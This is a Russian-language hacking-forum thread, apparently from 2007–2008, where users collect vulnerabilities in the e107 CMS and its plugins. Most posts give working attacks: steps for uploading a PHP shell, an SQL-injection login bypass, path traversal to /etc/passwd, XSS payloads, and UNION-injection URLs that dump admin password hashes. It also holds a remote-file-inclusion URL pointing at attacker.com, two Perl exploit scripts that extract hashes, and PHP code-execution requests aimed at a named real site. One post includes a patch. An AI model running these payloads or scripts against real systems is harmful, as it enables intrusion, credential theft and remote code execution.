[ Обзор уязвимостей e107 cms ]

Discussion in 'Веб-уязвимости' started by ettee, 16 Aug 2007.

  1. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Загрузка шела в e107 cms

    Админка: " Зайгрузки файлов пользователями ": разрешаем загружать загрузки +"нормальный файл", добавляем " .php " в "Разрешённые типы файлов".
    В меню появляются "Загрузка", заливаем файл.
    target/e107_files/public/file.php +посмотреть полный путь можно через админ панель категория " Зайгрузки файлов пользователями "
     
    _________________________
    #1 ettee, 16 Aug 2007
    Last edited by a moderator: 27 Jul 2008
    1 person likes this.
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Обзор уязвимостей [e107] cms

    <=0.6

    file create exploit

    Уязвимость пристутствует из-за неправильной обработке реквестов к серверу, существует возможность послать свои собственные и создать произвольный файл.



    <=0.6.17

    Active xss

    PoC



    0.617

    sql inj + remote code exec

    Уязвимсоть присутствует из-за плохой проверки на логин. Возможно авторизироваться в админ панели с логином вида
    Code:
    or isnull(1/0)/*
    Затем эксплоит заливает шелл через аплоуд модулей.



    <=0.75

    globals overwrite
    Использует перезапись глобальных переменных с помощью пхп-баги - Zend_Hash_Del_Key_Or_Index

    cookie file include
    Работвет при register_globals = on, перезаписывает глобальную переменную e_LANGUAGE в кукисах.
    Code:
    Cookie: e107language_e107cookie=../../../../../../../../../etc/passwd%00


    0.7.8

    Upload file exploit (нужен админ)
    Уязвимость присутствует из-за использования popen ф-ии на параметр $mailer, который пеердается через адресную строку в админ панеле.

    Аплоуд файлов в галерее
    Нет нормальной проверки на экстеншен. Возможен аплоуд файлов с расширением shell.php.jpg
     
    #2 darky, 7 Oct 2007
    Last edited: 7 Oct 2007
    1 person likes this.
  3. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Multiple XSS in Chatbox, forum posts:
    HTML:
    [img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img]
    [link]/link.htm" onmouseover="alert('Vulnerable');[/link]
    [email]/foo_at_bar.com"onmouseover="alert('Vulnerable');[/email]
    [url]/url.htm" onmouseover="alert('Vulnerable');[/url]
    e107 Subject field HTML injection Vulnerability
    Code:
    In Submit comment:
    Subject: '><script>alert(/XSS/)</script>
    0.545 & 0.603
    e107 with the Chatbox.php (tagboard) module enabled.DoS.
    In the Name inputbox of the Chatbox type:
    Code:
    <script = javascript> alert('DoS') <script>
    6.*
    Html attachment:
    Code:
    <html>
    <body>
    <script>alert('VULN');</script>
    </body>
    </html>
    XSS Vulnerability in "Netquery" (nquser.php) plugin.
    Code:
    GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0
    Accept: */*
    Referer: http://virtech.org/tools/
    Accept-Language: en-us
    Pragma: no-cache
    User-Agent: [COLOR=Red]<script>alert()</script>[/COLOR]
    Host: virtech.org
    Proxy-Connection: Keep-Alive
    Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420
    Content-length: 0
    0.6.15
    XSS in "user settings" (usersettings.php):
    Code:
    http://target/e107_0615/usersettings.php?avmsg=[xss code here]
    XSS Vulnerability in "Clock Menu" (clock_menu.php) plugin.
    Code:
    http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    Other RFI:
    0.6.15
    Code:
    http://target/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php
    Other Sql injection:
    0.6.15
    Sql injection bug in "news.php":
    Code:
    http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
    Sql injection bug in "content.php":
    Code:
    http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*
    Code:
    http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
     
    _________________________
    #3 ettee, 7 Oct 2007
    Last edited: 7 Oct 2007
    2 people like this.
  4. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Загрузка шела e107 cms

    вот типа такого, но можно и без таблиц))но
    надо знать диру для записи:

     
    #4 $n@ke, 4 Jul 2008
    Last edited by a moderator: 27 Jul 2008
    3 people like this.
  5. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Фу ты блин а я уж думал нету специальной темы под эту цмс. ГГ откопал)

    0.7.11 (мб и ранние версии)
    Passive XSS

    Code:
    [b]http://e107/e107_plugins/content/handlers/content_preset.php[/b]
    [b]POST[/b]:addpreset=1&type=select&field=1'>[b]<script>alert()</script>[/b]<&options[0]=1&options[1]=1
     
    2 people like this.
  6. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Эксплоит автора, который пожелал остаться неизвестным (действует в e107 0.7.8 точно, возможно, и других тоже)

    Code:
    <form action="http://tanibata.ru/contact.php" method="POST">
    <input name="send-contactus" value="1"/>
    <input name="body" value="This is a test email"/>
    <input name="email_send" value="[email protected]"/>
    <input name="author_name" value="user_name_here"/>
    <input name="subject" value="It is e107 bug"/><br/>
    <input size=200 name="contact_person" value="-999 union select 1,conсat(user_password,char(32),user_loginname,'<[email protected]>') from e107_user where user_id=1/*"/>
    <br/><input type="submit" value="ok"/>
    </form>
    Само собой, при magic_quotes=On SQL-запрос нужно перекодировать char() или hex (0x..)
     
    #6 1ten0.0net1, 26 Jul 2008
    Last edited: 26 Jul 2008
    1 person likes this.
  7. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit
    Code:
    #!/usr/bin/perl 
    #####################################################################################
    #         e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit                  #
    #                           ..::virangar security team::..                          #
    #                              www.virangar.net                                     #
    #                 C0d3d BY:virangar security team ( hadihadi  )                     #
    #special tnx to:                                                                    #
    #MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra                                     #
    #& all virangar members & all hackerz                                               #
    # my lovely friends hadi_aryaie2004 & arash(imm02tal)                               #
    #             ..:::Young Iranina Hackerz::..                                        #
    #####################################################################################
    #[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod  ;) 
    #this code is for english e107's only,if you want work on other languages,you can edit line 67;)
    
    use HTTP::Request;
    use LWP::UserAgent;
    
    if (@ARGV != 1){
    header();
    }
    
    $host = $ARGV[0];
    
    print "\n md5 Password:\r\n";
    &halghe();
    print "\n[+]Done\n";
    
    
    sub halghe {
    for($i = 1; $i <= 32; $i++){
     $f = 0;
     $n = 48;
     while(!$f && $n <= 57)
     {
      if(&inject($host, $i, $n,)){
     $f = 1;
         syswrite(STDOUT, chr($n), 1);
       }
    $n++;
    }
    if(!$f){ 
    $n=97;
    while(!$f && $n <= 102)
     {
      if(&inject($host, $i, $n,)){
     $f = 1;
         syswrite(STDOUT, chr($n), 1);
       }
    $n++;
    }}
    }
    }
    sub inject {
    my $site = $_[0];
    my $a = $_[1];
    my $b = $_[2];
    
    $col = "user_password";
    
    $attack= "$site"."%20and%20substring((select%20"."$col"."%20from%20e107_user%20where%20user_id=1%20limit%200,1),"."$a".",1)=char("."$b".")/*";
    
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    $req = $b->request(HTTP::Request->new(GET=>$attack));
    $res = $req->content;
    
    if ($res !~ /The user has hidden their blog./i){
        return 1;
    }
    
    }
    sub header {
    print qq{
    ###################################################################
    # e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit        #
    #                  (just for english e107's)                      #
    #                      www.virangar.net                           #
    #   Useage: perl $0 Host                                          #
    #                                                                 #
    #   Host: full patch to macgurublog.php+uid (dont forget http://) #
    #                                                                 #
    #  Example:                                                       #
    # perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5      #
    #                                                                 #
    ###################################################################
    };
    }
    
    # milw0rm.com [2008-07-29]
     
  8. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Description: e107 versions 0.7.11 and below suffer from an arbitrary variable overwriting vulnerability.

    Code:
    ##########################################################
    # GulfTech Security Research              August 07, 2008
    ##########################################################
    # Vendor : Steve Dunstan
    # URL : http://www.e107.org/
    # Version : e107 <= 0.7.11
    # Risk : Arbitrary Variable Overwriting
    ##########################################################
    
    
    Description:
    e107 is a popular full featured content management system written
    in php. Unfortunately e107 suffers from an arbitrary variable
    overwriting issue within it's download.php file that allows a number
    of possible attacks to happen including, but possibly not limited to,
    arbitrary php code execution and SQL Injection. No authentication
    is required to exploit the issue and it can be exploited regardless
    of php magic quotes settings. All users are encouraged to upgrade
    their e107 installations as soon as possible.
    
    
    Arbitrary Variable Overwriting:
    There is an arbitrary variable overwrite issue in download.php that
    is the result of unsafe usage of the php extract() function. Let's
    have a look at the code located in download.php @ lines 85-86
    
    case 'list' :	// Category-based listing
    if (isset($_POST['view'])) extract($_POST);
    
    As we see from the above code it is very much possible to overwrite
    any variables declared up to this point, but what is the real risk
    here? What attacks are possible because of this issue?
    
    view=1&id=-99') UNION SELECT concat(user_name,char(58), user_password),
    2,3,4 FROM e107_user WHERE user_id=1/*
    
    One possible attack could involve an attacker sending a post request
    to the downloads category view page (download.php?list.1 for example)
    with the above data as the post contents, and as a result the username
    and pass hash will be displayed in the page title. This SQL Injection
    does require magic quotes to be set to it's default value of off.
    
    view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
    (base64_decode($_POST[execute]));
    
    In addition to the SQL Injection is an arbitrary php code execution
    vulnerability. I found that it is possible to execute arbitrary php
    code by sending a post request to the downloads category view page
    with the above data as the post contents. The above example will
    successfully execute the "id" shell command regardless if php magic
    quotes gpc settings. A valid download category must be available
    though, but this is trivial since an attacker can use the previously
    explained SQL Injection to gain admin credentials and add a download
    category. Other attacks may be possible though since a majority of
    the important variables within the script are at risk.
    
    Solution:
    A fix for the issue mentioned in this advisory can be found in the 
    public e107 CVS repository, or accessed directly at the link below.
    
    http://e107.cvs.sourceforge.net/e107/e107_0.7/download.php?r1=1.95&r2=1.96&view=patch&pathrev=MAIN
    
    Credits:
    James Bercegay of the GulfTech Security Research Team
    
    Related Info:
    The original advisory can be found at the following location
    http://www.gulftech.org/?node=research&article_id=00122-08072008
    
     
  9. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
    (base64_decode($_POST[execute]));

    при таком запросе работать не будет, наверно сделали защиту от скрипткидисов

    view=1&action=list&template_load_core=phpinfo();

    скуль фигня самое страшно php-injection

    PHP:
    $template_load_core ' ..... ';
    ....
    switch (
    $action)
      {
        case 
    'list' :
          if (isset(
    $_POST['view'])) extract($_POST);
                        if (
    $sql->db_Select("download_category""download_category_name,download_category_description,download_category_parent,download_category_class""(download_category_id='{$id}') AND (download_category_class IN (".USERCLASS_LIST."))") )
          { 
    ...
    eval(
    $template_load_core);
    рабочий запрос если в download.php есть хоть одна статья
    HTML:
    POST http://e107 site /download.php?list.1 HTTP/1.0
    User-Agent: Opera (Windows NT 5.1; U; si)
    Host: www.tarotclub.fr
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    If-None-Match: c858d46e89d4dfb6fcf8add468b46abb
    Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240
    Cookie2: $Version=1
    Proxy-Connection: close
    
    view=1&id=1&template_load_core=phpinfo();
    
    если в download.php нет ниодной статьи и если magic_quotes_gpc OFF можно извратится таким запросом искользуя sql-injection
    HTML:
    POST http://e107 site /download.php?list.1 HTTP/1.0
    User-Agent: Opera (Windows NT 5.1; U; si)
    Host: www.tarotclub.fr
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    If-None-Match: c858d46e89d4dfb6fcf8add468b46abb
    Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240
    Cookie2: $Version=1
    Proxy-Connection: close
    
    view=1&id=0')/*1*/union/*1*/select/*1*/1,2,3,4/*&template_load_core=phpinfo();
    
    ЗЫ сплойт выкладывать не стал т.к. уже не актуально в e107 апдейт работает хорошо, через пару дней уязвимых сайтов почти не останется, эту багу нашёл 10.07.08
     
    1 person likes this.
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    А что, работает?

    Я не знаю какую версию смотрели авторы, но у меня на локалке как раз заявленная ими v0.7.11_full

    Так вот , всё бы хорошо работало, если-бы там был eval() , но там его нет :D

    И кстати. если бы он там был, никакие SQL типа:
    там-бы нужны не были, достаточно просто постом послать (Разумеется download.php?list):
    Я не знаю, может у меня пропатченная, или авторы смотрели старую, был бы благодарен, если-бы кто-то дал CMS с таким кодом посмотреть.
     
    #10 Kakoytoxaker, 19 Aug 2008
    Last edited: 19 Aug 2008
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Да, сдесь работает

    download.php?list

    id=1&template_load_core=phpinfo();

    chekist, молодца
     
  12. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    в е107 интересные bb коды [flash=50,50]javascript:[xss][/flash],
    но есть злобный фильтр
    PHP:
    ....
    if (!
    preg_match('/&#|\'|"|\(|\)|<|>/s'$text)) 
    {
    ....
    единственное что получилось использовать location вместо кавычки использовал слеш

    ЗЫ у ково получится по интереснее использовать багу отпишытесь
     
  13. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    e107 Plugin BLOG Engine v2.2 SQL Injection

    Code:
    #!/usr/bin/perl 
    ##############################################################
    # e107 Plugin BLOG Engine v2.2  SQL Injection Exploit        # 
    #               ..::virangar security team::..               # 
    #                    www.virangar.net                        # 
    #         C0d3d BY:virangar security team ( hadihadi  )      # 
    #special tnx to:                                             # 
    #MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra              # 
    #& all virangar members & all hackerz                        # 
    # my lovely friends hadi_aryaie2004 & arash(imm02tal)        # 
    #             ..:::Young Iranina Hackerz::..                 # 
    ############################################################## 
     
     
    use HTTP::Request; 
    use LWP::UserAgent; 
     
    if (@ARGV != 1){ 
    header(); 
    } 
    $site = $ARGV[0]; 
     
    $attack= "$site"."?uid=-99999%20union%20select%201,concat(0x3c757365723e,user_name,0x3c757365723e,user_password),3%20from%20e107_user%20where%20user_ 
    id=1/*"; 
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; 
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); 
    $req = $b->request(HTTP::Request->new(GET=>$attack)); 
    $res = $req->content; 
     
    if ($res =~ /<user>(.*?)<user>/){ 
            print "\n[+] Admin User : $1";} 
    if ($res =~/([0-9a-fA-F]{32})/){ 
    print "\n[+] Admin Hash : $1\n\n"; 
    print "\n[+]Done\n";} 
     
    sub header { 
    print qq{ 
    ################################################################### 
    # e107 Plugin BLOG Engine v2.2  SQL Injection Exploit             # 
    #                      www.virangar.net                           # 
    #   Useage: perl $0 Host                                          # 
    #                                                                 # 
    #   Host: full patch to macgurublog.php (dont forget http://)     # 
    #                                                                 # 
    #  Example:                                                       # 
    # perl $0 http://site/macgurublog_menu/macgurublog.php            # 
    #                                                                 # 
    ################################################################### 
    }; 
    } 
    #virangar.net[2008-05-22] 
    
    # milw0rm.com [2008-09-01]
    
    Содрано с milw0rm.com/exploits/6346
     
    1 person likes this.
  14. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Active XSS

    Версия: 0.7.12

    Уязвимый кусок кода:
    /usersettings.php
    PHP:
    ...
    $_POST['realname'] = $tp->toDB($_POST['realname']);
    ...
    $sql->db_Update("user""{$new_username} {$pwreset} {$sesschange} user_email='".$tp -> toDB($_POST['email'])."',user_signature='".$_POST['signature']."', user_image='".$tp -> toDB($_POST['image'])."', user_timezone='".$tp -> toDB($_POST['timezone'])."',user_hideemail='".intval($tp -> toDB($_POST['hideemail']))."', user_login='".$_POST['realname']."' {$new_customtitle}, user_xup='".$tp ->
                
    toDB($_POST['user_xup'])."' WHERE user_id='".intval($inp)."' ");
    ...
    Эксплоит:
    Profile => Click here to update your information => RealName => [Your XSS]
     
    3 people like this.
  15. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    PHP:
      switch ($action)
      {
        case 
    'list' :    // Category-based listing
          
    if (isset($_POST['view'])) extract($_POST);
    PHP:
     switch ($action)
      {
        case 
    'list' :    // Category-based listing
          
    if (isset($_POST['view'])) extract($_POSTEXTR_SKIP);
     
    _________________________
    3 people like this.
  16. KentPol

    KentPol Elder - Старейшина

    Joined:
    3 Jun 2008
    Messages:
    94
    Likes Received:
    17
    Reputations:
    0
    SQL-инъекция в e107 Plugin lyrics_menu

    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «l_id» сценарием lyrics_song.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    Эксплоит:
    PHP:
    http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

    [SQL1] = column number 15

    -1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--
     
  17. _krad_

    _krad_ New Member

    Joined:
    30 Nov 2008
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Обнаружил кривую обработку смайлов. Возможна XSS-атака

    Code:
    !<script>alert(document.cookie);</script>
    Версию e107 еще уточню.
     
    1 person likes this.
  18. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Уточняй, где конкертно возможно провести xss

    Что - то мне подсказывает, что тестил ты под правами админа => там идет кривая обработка в функции фильтрации toDB.
     
    2 people like this.
  19. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    Уязвимости модулей e107

    [​IMG]e107

    e107 mam_menu Component Blind-SQLinj
    http://e107.ru/e107_files/downloads/mam_menu2.tar.gz

    Уязвимый продукт: e107 mam_menu2 (Управление аккаунтами)
    Версия: e107 0.7.13, mam_menu2 v1.01

    1. Blind sqlInjection
    Уязвимость в файле ban.php
    Уязвимый кусок кода:
    PHP:
    $unban $_GET['accunban'];
    if ( 
    $unban ){
        
    mysql_query("UPDATE $TABLE SET user_ban = '0' WHERE user_id  = $unban");
    } else {}; 
    Из кода видно, что параметр $unban не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию.
    Так же из кода видно, что данные в таблице обновляютса и не выводятся - это и есть причина слепоты в данной инъекции.


    Exploit:
    данний exploit будет работать только под версии >=5 (причина: визов ф-ции sleep), для более ранних версий надо использовать BENCHMARK

    Скрипт для работы со слепыми инъекциями от Grey:
    https://forum.antichat.ru/showpost.php?p=894169&postcount=5
     
    #19 eLWAux, 14 Dec 2008
    Last edited: 20 Dec 2008
    2 people like this.
  20. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    e107 Easy Members Search v1.0+ XSS
    http://e107.org.ru/download.php?view.149

    Уязвимый продукт: Easy Members Search v1.0+
    Версия: v1.0+
    Условия: magic quotes off

    1. XSS
    Уязвимость в файле ems.php
    Уязвимый кусок кода:
    PHP:
    $usrname  $_GET['usrname'];
    .........
    <
    input class='tbox' style='width:120px;' type='text' name='usrname' value='".$usrname."' /></td>
    xss атаку можна произвести из за недостаточной фильтации в файлах class2.php и ems.php

    Exploit: